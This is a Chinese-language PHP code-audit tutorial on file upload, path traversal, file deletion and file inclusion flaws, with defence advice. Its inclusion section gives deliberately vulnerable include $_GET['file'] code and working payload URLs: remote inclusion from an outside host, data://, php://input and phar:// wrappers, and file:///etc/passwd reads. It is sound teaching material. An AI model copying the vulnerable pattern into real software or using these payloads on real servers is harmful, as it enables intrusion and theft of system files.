PHP代码审计-文件类型漏洞

0x00 前言

文件类型漏洞,分为四种,文件上传,文件下载,文件删除,文件包含漏洞。

0x01 文件上传

1.漏洞概述

文件上传漏洞,是将一个可执行的脚本,上传到服务器,通过此脚本在服务端执行命令,获取 webshell,该漏洞危害巨大,原因是开发者,没有上传文件的进行相关的安全检查,或者检查的不完整,从而导致文件上传漏洞,对应相关业务场景,上传附件,头像等

文件上传细分为四类

  • 任意文件上传。在上传功能处,没有做任何过滤,直接可以获得webshell权限。
  • 前端校验漏洞。在上传功能处,有检验文件扩展名,或者以白名单,黑名单的形式过滤,js检测不严谨,使用抓包工具,直接绕过,相当于没有。
  • 后端校验漏洞。常见后端校验有MIME类型检测,目录路径检测、文件扩展名检测、文件内容检测,如果设置不当,也会造成漏洞。
  • 解析漏洞。指 Web 服务对 HTTP 请求处理不当,导致将不能执行的脚本、文件,当做可以执行的脚本,文件等。该漏洞一般配合文件上传功能实现,具体的要看中间件解析漏洞,如IIS、Apache、nginx 等。

具体的绕过方式,可搭建对应的靶场进行复现,深入理解原理及各种上传姿势 upload-labs

这是靶场总结的思维导图

mind-map.png

2.审计思路

既然是文件上传,那就判断哪些地方可能存在上传点,自己搭建对应的环境,分析可能存在上传的点,然后分析危害程度(文件上传是在本地还是远程,是否存在脚本执行或者环境支持等),然后进行分析,文件校验的功能是否完善,可从,前端js 对上传文件的后缀名进行校验,以及后端,是黑名单、白名单、HTTP header的Conten-type,文件头验证,二次渲染验证和文件名随机化等。

sum_up.png

综上所述:审计的要点,找到上传点,也可以使用函数搜索$_FILES,找到上传点

然后根据上传点,可以进行以下流程审计

  • 是否有文件后缀名校验
  • 是否有文件内容检验
  • 是否有文件类型检验
  • 文件类型是否校验
  • 文件上传路径是否校验
  • 文件目录是否禁止脚本解析

3.防御建议

  1. 对上传文件类型进行验证,除在前端验证外在后端依然要做验证,后端可以进行扩展名检测,重命名文件,MIME类型检测以及限制上传文件的大小等限制来防御,或是将上传的文件其他文件存储服务器中。
  2. 严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关上传文件目录的执行权限,防止木马执行。
  3. 对上传文件格式进行严格校验,防止上传恶意脚本文件;
  4. 严格限制上传的文件路径。
  5. 文件扩展名服务端白名单校验。
  6. 文件内容服务端校验。
  7. 上传文件重命名。
  8. 隐藏上传文件路径。

0x02 文件下载

1.漏洞概述

文件下载也叫目录穿越/目录遍历,文件下载或获取文件显示内容页面由于未对传入的文件名进行过滤,利用路径回溯符../跳出程序本身的限制目录,来下载或显示任意文件。该漏洞能下载,配置文件,日志,有权限管控的敏感文件等,

漏洞产生通常在文件查看,文件下载功能中。

2.审计思路

在分析该漏洞或进行审计时,通常使用../来逐个层架查看推测路径信息,以最大限度地遍历所有可能藏在文件下载漏洞的部分,常用的函数有

  • file_get_contents()
  • file()
  • readfile()
  • fread()
  • fgets()

在CTF中通常使用 php://filter来查看源码信息

初步判断是否存在文件下载漏洞

  • 可以下载或读文件的函数且参数是否可控
  • 可以下载或读文件的路径是否未校验或校验不严谨
  • 下载或可读的文件是否为空,或者说明能否看到文件的源内容

审计的思路,重点找函数,然后进行构造利用,看漏洞的影响范围。

2.防御建议

对传入的文件名参数进行过滤,并且判断是否是允许获取的文件类型,过滤回溯符../。

0x03 文件删除

1.漏洞概述

文件删除漏洞,可让攻击者随意删除服务器上的任意或指定文件。

漏洞点,剪贴,删除文件,清除文件等

2.审计思路

函数搜索,关键函数 unlink

在 JavaScript中搜索,fiel.delete或 delete、delFile、delDir等函数关键词,定位关键词,分析关键位置的上下文代码,重点分析是否可存在可控文件参数,是否有校验或者校验可绕过

3.防御建议

对unlink 函数,或者可能存在删除文件的地方,进行加固

0x03 文件包含

1.漏洞概述

文件包含,是将指定的包含或引用的目标文件嵌入到程序空间,并且该引入的参数,用户是可控且没有对其进行安全校验,导致包含恶意代码的文件嵌入到程序空间并得到解析执行,从而造成文件包含漏洞。

PHP 文件包含关键函数

函数 概述
include 包含多次
include_once 包含一次
require 包含多次
require_once 包含一次
file_get_contents 将整个文件读入一个字符串
fopen 打开文件或者 URL
file 把整个文件读入一个数组中
readfile 输出文件

JavaScript 包含执行

  • include
  • jsp:include
  • c:import

文件包含分为三种:

  • 本地文件包含(Local File Include)
  • 远程文件包含(Remote File Include)
  • PHP伪协议

其中,本地文件包含漏洞,一般是上传或日志缓存,写入等方法来包含恶意文件,远程文件包含漏洞是引入远程的恶意文件,恶意代码。

2.本地文件包含 LFI

包含本地服务器的文件且能正常执行被包含文件的代码就是本地文件包含

案例:普通本地包含漏洞

新建test.php

1
2
3
<?php
include $_GET['file'];
?>

新建 test.txt

1
2
3
<?php
phpinfo();
?>

结果

1
http://127.0.0.1/test.php?file=test.txt

image-20211219170025799

test.php 代码中,include 使用 GET 类型接收用户的文件,进行包含,我们在该目录下,创建了一个 test.txt 文件,我们传入了文件的名字,然后代码执行将 test.txt 包含在 test.php 代码中执行了代码。触发了恶意代码。

3.远程文件包含 RFI

在远程包含需要满足以下条件:

  • php.ini中的 allow_url_fopenallow_url_include都为 On ,修改完配置文件,需要重启服务

image-20211219172537874

  • 被包含文件没有目录限制,或可控的文件,恶意代码,数据流可被引入解析

符合以上条件就是远程文件包含漏洞

案例:普通远程文件包含

远程服务器上建立 test3.txt

1
2
3
<?php
echo "存在远程包含漏洞";
?>

本地服务器上建立 test3.php

1
2
3
<?php
include $_GET['file'];
?>

访问地址

1
http://127.0.0.1/test3.php?file=http://192.168.1.105/test3.txt

image-20211219173401170

漏洞分析

和本地包含类似,只是把访问地址改成了远程地址,然后触发了漏洞

4.PHP 伪协议

PHP封装协议又叫伪协议,此种类型经常在CTF中用到。

有的协议受限制,allow_url_fopen 和 allow_url_include 的限制

img

一般在PHP后缀名存在限制且多种阶段方式无法生效时,可使用 PHP 伪协议文件包含漏洞。

4.1 phar:// 协议利用

新建 test1.php

1
2
3
<?php
include $_GET['file'];
?>

将test1.txt 文件压缩存储为test1.zip 通过浏览器访问

1
http://127.0.0.1/test1.php?file=phar://test1.zip/test1.txt

通过phar://协议读取test1.zip 压缩包里的test1.txt 的原始内容即并解析执行,触发恶意代码

image-20211219184700210

4.2 data:// 协议

在本地服务器新建 test11.php

1
2
3
<?php
include $_GET['file'];
?>

通过浏览器访问路径

1
http://127.0.0.1/test11.php?file=data://text/plain;base64,PD9waHAKIHBocGluZm8oKTsKPz4=

image-20211219185739250

使用base64 进行编码成为数据流的

image-20211219185821830

4.3 php://input 协议

新建 test12.php

1
2
3
<?php
include $_GET['file'];
?>

访问

1
http://127.0.0.1/test12.php?file=php://input

并且post data 为发送的payload

image-20211219191128216

关于php://filter的妙用可以参考 p牛的这篇文章。

4.4 file://

用于访问文件(绝对路径,相对路径,网络路径)

如果是Linux可以读取该文件

1
http://127.0.0.1/test.php?file=file:///etc/passwd

5.审计思路

查看 PHP 代码函数的关键字,然后查看该函数使用的参数是否为可控变量,对可控变量所在的代码功能模块寻找上传,日志记录等功能,确认是否能够设置“包含操作”。通过日志记录,确认能够通过构造其 URL 地址并将构造好的 payload 嵌入进去。

6.防御建议

  1. 严格检查变量是否已经初始化。防止变量覆盖。
  2. 对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现./和../等目录跳转符。
  3. 严格检查文件包含函数中的参数是否外界可控。
  4. 尽量不要使用allow_url_fopenallow_url_include 功能,并将这两个功能关闭。

总结

在PHP代码审计中,审计文件类型漏洞,需要注意漏洞产生的关键函数,进行分析,查看该变量是否为可控变量,是否有过滤,过滤能否被绕过,都需要一一尝试,然后分析漏洞的危害程度。

参考链接

https://github.com/c0ny1/upload-labs

https://www.cnblogs.com/iAmSoScArEd/p/10651947.html#auto_id_6

https://www.php.net/manual/zh/

https://www.freebuf.com/articles/web/266565.html

https://www.php.net/manual/zh/wrappers.php